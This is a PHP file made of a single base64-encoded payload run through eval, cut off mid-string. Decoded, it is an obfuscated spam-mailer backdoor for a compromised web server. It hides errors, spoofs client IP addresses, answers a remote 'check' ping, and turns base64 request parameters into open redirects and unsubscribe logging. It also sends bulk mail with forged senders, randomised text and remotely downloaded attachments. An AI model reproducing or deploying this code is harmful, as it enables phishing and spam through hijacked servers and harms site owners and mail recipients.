eval( base64_decode( "CkBlcnJvcl9yZXBvcnRpbmcoIDAgKTsKQHNldF90aW1lX2xpbWl0KCAxNTAgKTsKQGlnbm9yZV91c2VyX2Fib3J0KCB0cnVlICk7CkBpbmlfc2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJywgMTUwICk7CkBpbmlfc2V0KCAnbWFpbC5hZGRfeF9oZWFkZXInLCAwICk7CkBpbmlfc2V0KCAnZXhwb3NlX3BocCcsIDAgKTsKCmlmKCBpc3NldCggJF9HRVRbICdjaGVjaycgXSApICkgewogICAgZXhpdCggJyNPSyMnICk7Cn0KCkAkX1NFUlZFUlsgJ1BIUF9TRUxGJyBdID0gJy8nOwoKaWYoIGlzc2V0KCAkX1NFUlZFUlsgJ1NFUlZFUl9BRERSJyBdICkgJiYgISBlbXB0eSggJF9TRVJWRVJbICdTRVJWRVJfQUREUicgXSApICkgewogICAgJGlwID0gJF9TRVJWRVJbICdTRVJWRVJfQUREUicgXTsKfQplbHNlIHsKICAgICRpcCA9IHJhbmQoIDEsIDI1NSApIC4gJy4nIC4gcmFuZCggMCwgMjU1ICkgLiAnLicgLiByYW5kKCAwLCAyNTUgKSAuICcuJyAuIHJhbmQoIDAsIDI1NSApOwp9CgppZiggaXNzZXQoICRfU0VSVkVSWyAnSFRUUF9YX0ZPUldBUkRFRF9GT1InIF0gKSAmJiAhIGVtcHR5KCAkX1NFUlZFUlsgJ0hUVFBfWF9GT1JXQVJERURfRk9SJyBdICkgKSB7CiAgICBAJF9TRVJWRVJbICdIVFRQX1hfRk9SV0FSREVEX0ZPUicgXSA9ICRpcDsKfQoKaWYoIGlzc2V0KCAkX1NFUlZFUlsgJ1JFTU9URV9BRERSJyBdICkgKSB7CgogICAgd2hpbGUoICRrZXkgPSBrZXkoICRfU0VSVkVSICkgKSB7CiAgICAgICAgaWYoICRfU0VSVkVSWyAka2V5IF0gPT0gJF9TRVJWRVJbICdSRU1PVEVfQUREUicgXSApIHsKICAgICAgICAgICAgQCRfU0VSVkVSWyAka2V5IF0gPSAkaXA7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBuZXh0KCAkX1NFUlZFUiApOwogICAgfQoKICAgIEAkX1NFUlZFUlsgJ1JFTU9URV9BRERSJyBdID0gJGlwOwp9CgppZiggaXNzZXQoICRfUkVRVUVTVFsgJ3InIF0gKSApIHsKICAgICRuX3N0ID0gJyc7CiAgICAkbl9zdDEgPSAnJzsKICAgICRuX3N0MiA9ICc/JzsKICAgICRkX3N0ID0gYmFzZTY0X2RlY29kZSggJF9SRVFVRVNUWyAncicgXSApOwogICAgJGRfc3QxID0gZXhwbG9kZSggJyYnLCB0cmltKCAkZF9zdCApICk7CiAgICBmb3IoICRpID0gMDsgJGkgPCBzaXplb2YoICRkX3N0MSApOyAkaSsrICkgewogICAgICAgICRkX3N0MiA9IGV4cGxvZGUoICc9JywgdHJpbSggJGRfc3QxWyAkaSBdICkgKTsKICAgICAgICBpZiggJGRfc3QyWyAwIF0gPT0gJ2wnICkgewogICAgICAgICAgICAkbl9zdCA9ICRkX3N0MlsgMSBdOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJG5fc3QxIC49ICRuX3N0MiAuICRkX3N0MlsgMCBdIC4gJz0nIC4gJGRfc3QyWyAxIF07CiAgICAgICAgICAgICRuX3N0MiA9ICcmJzsKICAgICAgICB9CiAgICB9CiAgICAkbl9zdCAuPSAkbl9zdDE7CiAgICA/PgogICAgPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9PD9waHAKICAgIGVjaG8gJG5fc3Q7CiAgICA/PiI+PD9waHAKICAgIGV4aXQoKTsKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICd1JyBdICkgKSB7CiAgICAkbl9zdCA9ICcnOwogICAgJG5fc3QxID0gJyc7CiAgICAkbl9zdDIgPSAnPyc7CiAgICAkZF9zdCA9IGJhc2U2NF9kZWNvZGUoICRfUkVRVUVTVFsgJ3UnIF0gKTsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCAnbG9nc3Vic2MubG9nJywgZGF0ZSggJ1tZLW0tZCBIOmk6c10gJyApIC4gJGRfc3QgLiAiXHJcbiIsIEZJTEVfQVBQRU5EIHwgTE9DS19FWCApOwogICAgPz4KICAgIDxicj48YnI+PGJyPgogICAgPGNlbnRlcj5Zb3UgaGF2ZSB1bnN1YnNjcmliZWQgZnJvbSB0aGUgbmV3c2xldHRlciEhITwvY2VudGVyPjxicj4KICAgIDxjZW50ZXI+RW1haWw6IDxiPjw/cGhwCiAgICAgICAgICAgIGVjaG8gJGRfc3Q7CiAgICAgICAgICAgID8+PC9iPjwvY2VudGVyPgogICAgPD9waHAKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdsdScgXSApICkgewogICAgJGZjID0gZmlsZV9nZXRfY29udGVudHMoICdsb2dzdWJzYy5sb2cnICk7CiAgICAkZmMgPSBwcmVnX3JlcGxhY2UoICIvXG4vIiwgIjxici8+XG4iLCAkZmMgKTsKICAgIGVjaG8gJGZjOwp9CgppZiggaXNzZXQoICRfUkVRVUVTVFsgJ2R1JyBdICkgKSB7CiAgICB1bmxpbmsoICdsb2dzdWJzYy5sb2cnICk7Cn0KCmlmKCBpc3NldCggJF9SRVFVRVNUWyAnY2UnIF0gKSA9PT0gdHJ1ZSApIHsKICAgIHBhcnNlX3N0ciggYmFzZTY0X2RlY29kZSggJF9SRVFVRVNUWyAnY2UnIF0gKSwgJF9SRVFVRVNUICk7Cn0KCiRlbmNvZGluZyA9ICJVVEYtOCI7CmlmKCBpc3NldCggJF9SRVFVRVNUWyAnZScgXSApICkgewogICAgJGVuY29kaW5nID0gJF9SRVFVRVNUWyAnZScgXTsKfQoKaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdjaCcgXSApID09PSB0cnVlICkgewogICAgQ2hlY2soKTsKICAgIGV4aXQ7Cn0KCmlmKCBpc3NldCggJF9SRVFVRVNUWyAnc24nIF0gKSA9PT0gdHJ1ZSApIHsKICAgIFNlbmQoKTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIFNlbmQoKQp7CgogICAgJGRvbWFpbiA9ICRfU0VSVkVSWyAiSFRUUF9IT1NUIiBdOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCAnd3d3LicsICcnLCAkZG9tYWluICk7CiAgICAkZG9tYWluXyA9IGV4cGxvZGUoICcuJywgJGRvbWFpbiApOwoKICAgICRfUkVRVUVTVFsgJ20nIF0gPSBzdHJfcmVwbGFjZSggJ1tzaGVsbGRvbWFpbjpdJywgdWNmaXJzdCggJGRvbWFpbl9bIDAgXSApLCAkX1JFUVVFU1RbICdtJyBdICk7CiAgICAvL2VjaG8gJF9SRVFVRVNUWydtJ107CgogICAgJGVtYWlscyA9IHVybGRlY29kZSggJF9SRVFVRVNUWyAnZW0nIF0gKTsKCiAgICAkZXhwbGVtYWlscyA9IGV4cGxvZGUoICJcbiIsICRlbWFpbHMgKTsKICAgIGdsb2JhbCAkcmFuZG1fYXJyYXk7CiAgICBnbG9iYWwgJGF0dGFjaGVtZW50X2FycmF5OwogICAgZ2xvYmFsICR1bnN1YnNjcmliZTsKICAgICR1bnN1YnNjcmliZSA9IDA7CgogICAgZm9yKCAkYyA9IDAsICRtYXggPSBzaXplb2YoICRleHBsZW1haWxzICk7ICRjIDwgJG1heDsgJGMrKyApIHsKICAgICAgICAkZGF0YSA9IGV4cGxvZGUoICd8JywgdHJpbSggJGV4cGxlbWFpbHNbICRjIF0gKSApOwogICAgICAgICRyX3JlcGx5dG8gPSBtYWNyb3NSYW5kb20oICRfUkVRVUVTVFsgJ3JwdCcgXSwgJGRhdGEgKTsKICAgICAgICAkcl9mcm9tXyA9IG1hY3Jvc1JhbmRvbSggZGF0YUhhbmRsZXIoICRfUkVRVUVTVFsgJ2YnIF0gKSwgJGRhdGEgKTsKICAgICAgICAkcl9mcm9tID0gZXhwbG9kZSggJzonLCAkcl9mcm9tXyApOwoKICAgICAgICBpZiggaXNfZmlsZSggJF9GSUxFU1sgJ2ZpbGUnIF1bICd0bXBfbmFtZScgXSApICkgewogICAgICAgICAgICAkcl9zdWJqZWN0ID0gZGF0YUhhbmRsZXIoIHVybGRlY29kZSggJF9SRVFVRVNUWyAncycgXSApICk7CiAgICAgICAgICAgICRyX21lc3NhZ2UgPSB1cmxkZWNvZGUoICRfUkVRVUVTVFsgJ20nIF0gKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRyX3N1YmplY3QgPSBkYXRhSGFuZGxlciggJF9SRVFVRVNUWyAncycgXSApOwogICAgICAgICAgICAkcl9tZXNzYWdlID0gJF9SRVFVRVNUWyAnbScgXTsKICAgICAgICB9CgogICAgICAgICRyX3N1YmplY3QgPSBzdHJfcmVwbGFjZSggJ1tmcm9tOl0nLCAkcl9mcm9tWyAwIF0sICRyX3N1YmplY3QgKTsKICAgICAgICAkcl9zdWJqZWN0ID0gc3RyX3JlcGxhY2UoICdbZW1haWw6XScsICRkYXRhWyAwIF0sICRyX3N1YmplY3QgKTsKICAgICAgICAkcl9zdWJqZWN0ID0gbWFjcm9zUmFuZG9tKCAkcl9zdWJqZWN0LCAkZGF0YSApOwogICAgICAgICRyX21lc3NhZ2UgPSBzdHJfcmVwbGFjZSggJ1tmcm9tOl0nLCAkcl9mcm9tWyAwIF0sICRyX21lc3NhZ2UgKTsKICAgICAgICAkcl9tZXNzYWdlID0gc3RyX3JlcGxhY2UoICdbZW1haWw6XScsICRkYXRhWyAwIF0sICRyX21lc3NhZ2UgKTsKICAgICAgICAkcl9tZXNzYWdlID0gbWFjcm9zUmFuZG9tKCAkcl9tZXNzYWdlLCAkZGF0YSApOwogICAgICAgIGlmKCAhIFNNYWlsKCAkZGF0YVsgMCBdLCAkcl9mcm9tWyAxIF0sICRyX21lc3NhZ2UsICRyX3N1YmplY3QsICRyX3JlcGx5dG8sICRyX2Zyb21bIDAgXSApICkgewogICAgICAgICAgICBwcmludCAnKnNlbmQ6YmFkKic7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAgIHByaW50ICcqc2VuZDpvayonOwogICAgZXhpdDsKfQoKZnVuY3Rpb24gU01haWwoICR0bywgJGZyb20sICRtZXNzYWdlLCAkc3ViamVjdCwgJHJlcGx5dG8sICRmcm9tX25hbWUgKQp7CiAgICBnbG9iYWwgJHVuc3Vic2NyaWJlOwogICAgZ2xvYmFsICRhdHRhY2hlbWVudF9hcnJheTsKICAgIGdsb2JhbCAkZW5jb2Rpbmc7CgogICAgaWYoIGlzX2ZpbGUoICRfRklMRVNbICdmaWxlJyBdWyAndG1wX25hbWUnIF0gKSApIHsKICAgICAgICAkZmlsZVN0cmluZyA9IGZpbGVTdHJpbmcoICRfRklMRVNbICdmaWxlJyBdWyAnbmFtZScgXSApOwogICAgICAgICRmaWxlbmFtZSA9ICRfUkVRVUVTVFsgJ2ZuJyBdOwogICAgfQoKICAgICRmcm9tX25hbWUgPSB0cmltKCAkZnJvbV9uYW1lICk7CiAgICBpZiggc3RybGVuKCB0cmltKCAkZnJvbV9uYW1lICkgKSA8IDEgKSB7CiAgICAgICAgJGZyb21fbmFtZSA9IHJhbmRUZXh0KCk7CiAgICB9CgogICAgaWYoIHN0cmxlbiggdHJpbSggJGZyb20gKSApIDwgMSApIHsKICAgICAgICAkZnJvbSA9IHN0cl9yZXBsYWNlKCAnICcsICcnLCB0cmltKCAkZnJvbV9uYW1lICkgKSAuICdAJyAuICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdOwogICAgfQoKICAgIGlmKCBzdHJsZW4oIHRyaW0oICRyZXBseXRvICkgKSA8IDEgKSB7CiAgICAgICAgJHJlcGx5dG8gPSAkZnJvbTsKICAgIH0KCiAgICBpZiggJF9SRVFVRVNUWyAndHAnIF0gPT0gJzEnICkgewogICAgICAgICR0eXBlID0gJ3RleHQvaHRtbCc7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkdHlwZSA9ICd0ZXh0L3BsYWluJzsKICAgIH0KCiAgICAkaGVhZGVycyA9IEdldEhlYWRlcnMoICRmcm9tX25hbWUsICRmcm9tLCAkcmVwbHl0byApOwoKICAgICRib3VuZGFyeSA9IG1kNSggdW5pcWlkKCkgKTsKICAgICRoZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IG11bHRpcGFydC9hbHRlcm5hdGl2ZTsgYm91bmRhcnk9XCIiIC4gJGJvdW5kYXJ5IC4gIlwiXHJcbiI7CgogICAgaWYoICR1bnN1YnNjcmliZSA9PSAxICkgewogICAgICAgICRoZWFkZXJzIC49ICdMaXN0LVVuc3Vic2NyaWJlOiA8bWFpbHRvOicgLiAkZnJvbSAuICI+IiAuICJcclxuIjsKICAgIH0KCiAgICAvL3BsYWluIHZlcnNpb24KICAgICRib2R5ID0gIi0tIiAuICRib3VuZGFyeSAuICJcclxuIjsKICAgICRib2R5IC49ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLThcclxuIjsKICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG5cclxuIjsKICAgICRtZXNzYWdlX3BsYWluID0gY3V0X3RhZ3MoICRtZXNzYWdlICk7CiAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJG1lc3NhZ2VfcGxhaW4gKSApICk7CgogICAgLy9odG1sIHZlcnNpb24KICAgIGlmKCAkX1JFUVVFU1RbICd0cCcgXSA9PSAnMScgKSB7CiAgICAgICAgJGJvZHkgLj0gIlxyXG5cclxuLS0iIC4gJGJvdW5kYXJ5IC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICJDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOFxyXG4iOwogICAgICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG5cclxuIjsKICAgICAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJG1lc3NhZ2UgKSApICk7CiAgICB9CgogICAgLy9maWxlcyBhdHRhY2hlbWVudAogICAgaWYoIGlzX2ZpbGUoICRfRklMRVNbICdmaWxlJyBdWyAndG1wX25hbWUnIF0gKSApIHsKICAgICAgICAkYm9keSAuPSAiXHJcblxyXG4tLSIgLiAkYm91bmRhcnkgLiAiXHJcbiI7CiAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtVHlwZTogJyAuICRfRklMRVNbICdmaWxlJyBdWyAndHlwZScgXSAuICc7IG5hbWU9IicgLiAkZmlsZW5hbWUgLiAnIicgLiAiXHJcbiI7CiAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJGZpbGVuYW1lIC4gJyInIC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnIC4gIlxyXG4iOwogICAgICAgICRib2R5IC49ICdYLUF0dGFjaG1lbnQtSWQ6ICcgLiByYW5kKCAxMDAwLCA5OTk5OSApIC4gIlxyXG5cclxuIjsKICAgICAgICAkYm9keSAuPSB0cmltKCBjaHVua19zcGxpdCggYmFzZTY0X2VuY29kZSggJGZpbGVTdHJpbmcgKSApICk7CiAgICB9CgogICAgaWYoICRhdHRhY2hlbWVudF9hcnJheSApIHsKCiAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICBmb3IoICRpID0gMDsgJGkgPCBjb3VudCggJGF0dGFjaGVtZW50X2FycmF5ICk7ICRpKysgKSB7CiAgICAgICAgICAgICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdID0gdHJpbSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKTsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdLCBEb3dubG9hZFNvdXJjZSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAwIF0gKSApOwogICAgICAgIH0KCiAgICAgICAgZm9yKCAkaSA9IDA7ICRpIDwgY291bnQoICRhdHRhY2hlbWVudF9hcnJheSApOyAkaSsrICkgewogICAgICAgICAgICBpZiggaXNzZXQoICRhdHRhY2hlbWVudF9hcnJheVsgJGkgXVsgMSBdICkgKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbiggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0sICJyIiApOwogICAgICAgICAgICAgICAgaWYoICRmcCApIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZXNbICRpIF0gPSBmcmVhZCggJGZwLCBmaWxlc2l6ZSggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKSApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmNsb3NlKCAkZnAgKTsKCiAgICAgICAgICAgICAgICBpZiggaXNzZXQoICRmaWxlc1sgJGkgXSApICkgewogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICJcclxuXHJcbi0tIiAuICRib3VuZGFyeSAuICJcclxuIjsKCiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJ0NvbnRlbnQtVHlwZTogJyAuIG1pbWVfY29udGVudF90eXBlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0KICAgICAgICAgICAgICAgICAgICAgICAgKSAuICc7IG5hbWU9IicgLiAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSAuICciJyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSAuICciJyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0JyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAnWC1BdHRhY2htZW50LUlkOiAnIC4gcmFuZCggMTAwMCwgOTk5OTkgKSAuICJcclxuXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gdHJpbSggY2h1bmtfc3BsaXQoIGJhc2U2NF9lbmNvZGUoIGZpbGVfZ2V0X2NvbnRlbnRzKCAkYXR0YWNoZW1lbnRfYXJyYXlbICRpIF1bIDEgXSApICkgKSApOwogICAgICAgICAgICAgICAgICAgIHVubGluayggJGF0dGFjaGVtZW50X2FycmF5WyAkaSBdWyAxIF0gKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CgogICAgJGJvZHkgLj0gIlxyXG5cclxuLS0iIC4gJGJvdW5kYXJ5IC4gIi0tIjsKCiAgICBpZiggJGVuY29kaW5nID09ICdVVEYtOCcgKSB7CiAgICAgICAgJHN1YmplY3QgPSAiPT9VVEYtOD9CPyIgLiBiYXNlNjRfZW5jb2RlKCAkc3ViamVjdCApIC4gIj89IjsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRzdWJqZWN0ID0gIj0/JGVuY29kaW5nP0I/IiAuIGJhc2U2NF9lbmNvZGUoIGljb252KCAnVVRGLTgnLCAkZW5jb2RpbmcsICRzdWJqZWN0ICkgKSAuICI/PSI7CiAgICB9CgogICAgaWYoIG1haWwoICR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVycyApICkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovLyBHZXQgcmFuZG9tIG9yIG9uZSBhcnJheSBlbGVtZW50CmZ1bmN0aW9uIGRhdGFIYW5kbGVyKCAkZGF0YSApCnsKICAgICRleCA9IGV4cGxvZGUoICJcbiIsICRkYXRhICk7CiAgICBpZiggc2l6ZW9mKCAkZXggKSA+IDEgKSB7CiAgICAgICAgcmV0dXJuIHRyaW0oICRleFsgcmFuZCggMCwgc2l6ZW9mKCAkZXggKSAtIDEgKSBdICk7CiAgICB9CiAgICByZXR1cm4gdHJpbSggJGRhdGEgKTsKfQoKZnVuY3Rpb24gbWFjcm9zUmFuZG9tKCAkdGV4dCwgJGRhdGEgKQp7CiAgICBnbG9iYWwgJHJhbmRtX2FycmF5OwogICAgZ2xvYmFsICRhdHRhY2hlbWVudF9hcnJheTsKICAgIGdsb2JhbCAkdW5zdWJzY3JpYmU7CgogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtudW06KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MiApOwogICAgJGkgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtyYW5kTTooLis/KVxdI2lzJywgJHRleHQsICRyZXN1bHQzICk7CiAgICAkcSA9IDA7CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW3JhbmRzdHI6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NCApOwogICAgJHcgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXFt2YXI6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NSApOwogICAgJGUgPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXHtyYW5kOiguKz8pXH0jaXMnLCAkdGV4dCwgJHJlc3VsdDYgKTsKICAgICRmID0gMDsKICAgIHByZWdfbWF0Y2hfYWxsKCAnI1xbcmVkaXJlY3Q6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0NyApOwogICAgJGggPSAwOwogICAgcHJlZ19tYXRjaF9hbGwoICcjXHtyYW5kTTooLis/KVx9I2lzJywgJHRleHQsICRyZXN1bHQ4ICk7CiAgICAkdSA9IDA7CgoKICAgIC8vcmVkaXJlY3QKICAgIHdoaWxlKCAkaCA8IHNpemVvZiggJHJlc3VsdDdbIDEgXSApICkgewogICAgICAgICRsaW5rX3NpdGUgPSAnJzsKICAgICAgICAkbGlua19wYXIxID0gZXhwbG9kZSggJz4+PicsICRyZXN1bHQ3WyAxIF1bICRoIF0gKTsKICAgICAgICAkY3VycmVudF91cmxfID0gJyc7CiAgICAgICAgLy9wcmludF9yKCRsaW5rX3BhcjEpOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCAnI1x7cmFuZDooLis/KVx9I2lzJywgJGxpbmtfcGFyMVsgMCBdLCAkbGlua19wYXIyICk7CiAgICAgICAgaWYoIHNpemVvZiggJGxpbmtfcGFyMlsgMSBdICkgPiAwICkgewogICAgICAgICAgICAkbGlua19wYXIzID0gZXhwbG9kZSggJ3wnLCAkbGlua19wYXIyWyAxIF1bIDAgXSApOwogICAgICAgICAgICAkbGlua19zaXRlID0gJGxpbmtfcGFyM1sgYXJyYXlfcmFuZCggJGxpbmtfcGFyMyApIF07CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkbGlua19zaXRlID0gJGxpbmtfcGFyMVsgMCBdOwogICAgICAgIH0KCiAgICAgICAgJGxpbmtfc2l0ZSA9ICJsPSIgLiAkbGlua19zaXRlOwoKICAgICAgICBmb3IoICRpX2xpbmsgPSAxOyAkaV9saW5rIDwgc2l6ZW9mKCAkbGlua19wYXIxICk7ICRpX2xpbmsrKyApIHsKICAgICAgICAgICAgJGxpbmtfcGFyMVsgJGlfbGluayBdID0gc3RyX3JlcGxhY2UoICJ7IiwgIiIsICRsaW5rX3BhcjFbICRpX2xpbmsgXSApOwogICAgICAgICAgICAkbGlua19wYXIxWyAkaV9saW5rIF0gPSBzdHJfcmVwbGFjZSggIn0iLCAiIiwgJGxpbmtfcGFyMVsgJGlfbGluayBdICk7CiAgICAgICAgICAgIGlmKCBzdHJwb3MoICRsaW5rX3BhcjFbICRpX2xpbmsgXSwgJ2VtYWlsOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAkbGlua19zaXRlIC49ICImZT0iIC4gdHJpbSggJGRhdGFbIDAgXSApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgaWYoIHN0cnBvcyggJGxpbmtfcGFyMVsgJGlfbGluayBdLCAndmFyOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAgICAgJGxpbmtfcGFyNCA9IGV4cGxvZGUoICc6JywgJGxpbmtfcGFyMVsgJGlfbGluayBdICk7CiAgICAgICAgICAgICAgICAgICAgJGxpbmtfc2l0ZSAuPSAiJnYiIC4gJGxpbmtfcGFyNFsgMSBdIC4gIj0iIC4gdHJpbSggJGRhdGFbICRsaW5rX3BhcjRbIDEgXSBdICk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiggc3RycG9zKCAkbGlua19wYXIxWyAkaV9saW5rIF0sICdsaW5rOicgKSAhPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5rX3BhcjQgPSBleHBsb2RlKCAnOicsICRsaW5rX3BhcjFbICRpX2xpbmsgXSwgMiApOwogICAgICAgICAgICAgICAgICAgICAgICAkY3VycmVudF91cmxfID0gJGxpbmtfcGFyNFsgMSBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmtfc2l0ZSAuPSAiJiIgLiAkbGlua19wYXIxWyAkaV9saW5rIF07CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvL3ByaW50ICItIi4kbGlua19wYXIxWyRpX2xpbmtdOwogICAgICAgIH0KICAgICAgICAvL3ByaW50ICRsaW5rX3NpdGU7CiAgICAgICAgaWYoIHN0cmxlbiggJGN1cnJlbnRfdXJsXyApID4gMCApIHsKICAgICAgICAgICAgJGN1cnJlbnRfdXJsID0gJGN1cnJlbnRfdXJsXzsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRjdXJyZW50X3VybCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdIC4gJF9TRVJWRVJbICdSRVFVRVNUX1VSSScgXTsKICAgICAgICB9CgogICAgICAgICRjdXJyZW50X3VybCAuPSAiP3I9IiAuIGJhc2U2NF9lbmNvZGUoICRsaW5rX3NpdGUgKTsKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQ3WyAwIF1bICRoIF0sICRjdXJyZW50X3VybCwgJHRleHQgKTsKICAgICAgICAkaCsrOwogICAgfQoKCiAgICAvL3Vuc3Vic2NyaWJlCiAgICAkayA9IHN0cnBvcyggJHRleHQsICdbdW5zdWJzY3JpYmU6XScgKTsKICAgIGlmKCAkayAhPSBGQUxTRSApIHsKICAgICAgICAkY3VycmVudF91cmwgPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsgJ0hUVFBfSE9TVCcgXSAuICRfU0VSVkVSWyAnUkVRVUVTVF9VUkknIF07CiAgICAgICAgJGN1cnJlbnRfdXJsIC49ICI/dT0iIC4gYmFzZTY0X2VuY29kZSggJGRhdGFbIDAgXSApOwogICAgICAgICR1bnN1YnNjcmliZSA9IDE7CiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZSggJ1t1bnN1YnNjcmliZTpdJywgJGN1cnJlbnRfdXJsLCAkdGV4dCApOwogICAgfQoKICAgIC8ve3JhbmQKICAgIHdoaWxlKCAkZiA8IHNpemVvZiggJHJlc3VsdDZbIDEgXSApICkgewogICAgICAgICRyYW5kID0gZXhwbG9kZSggJ3wnLCAkcmVzdWx0NlsgMSBdWyAkZiBdICk7CiAgICAgICAgJHJhbmQgPSAkcmFuZFsgYXJyYXlfcmFuZCggJHJhbmQgKSBdOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDZbIDAgXVsgJGYgXSwgJHJhbmQsICR0ZXh0ICk7CiAgICAgICAgJGYrKzsKICAgIH0KCiAgICB3aGlsZSggJGkgPCBzaXplb2YoICRyZXN1bHQyWyAxIF0gKSApIHsKICAgICAgICAkcmFuZCA9IGV4cGxvZGUoICd8JywgJHJlc3VsdDJbIDEgXVsgJGkgXSApOwogICAgICAgIGlmKCAhIGlzX251bWVyaWMoICRyYW5kWyAwIF0gKSBvciAhIGlzX251bWVyaWMoICRyYW5kWyAxIF0gKSApIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRyYW5kID0gcmFuZCggJHJhbmRbIDAgXSwgJHJhbmRbIDEgXSApOwoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQyWyAwIF1bICRpIF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICRpKys7CiAgICB9CgogICAgLy97cmFuZE0KICAgIHdoaWxlKCAkdSA8IHNpemVvZiggJHJlc3VsdDhbIDEgXSApICkgewogICAgICAgICRyYW5kID0gZXhwbG9kZSggJ3wnLCAkcmVzdWx0OFsgMSBdWyAkdSBdICk7CiAgICAgICAgLy8kcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07CgogICAgICAgICRmbGFnX3IgPSBmYW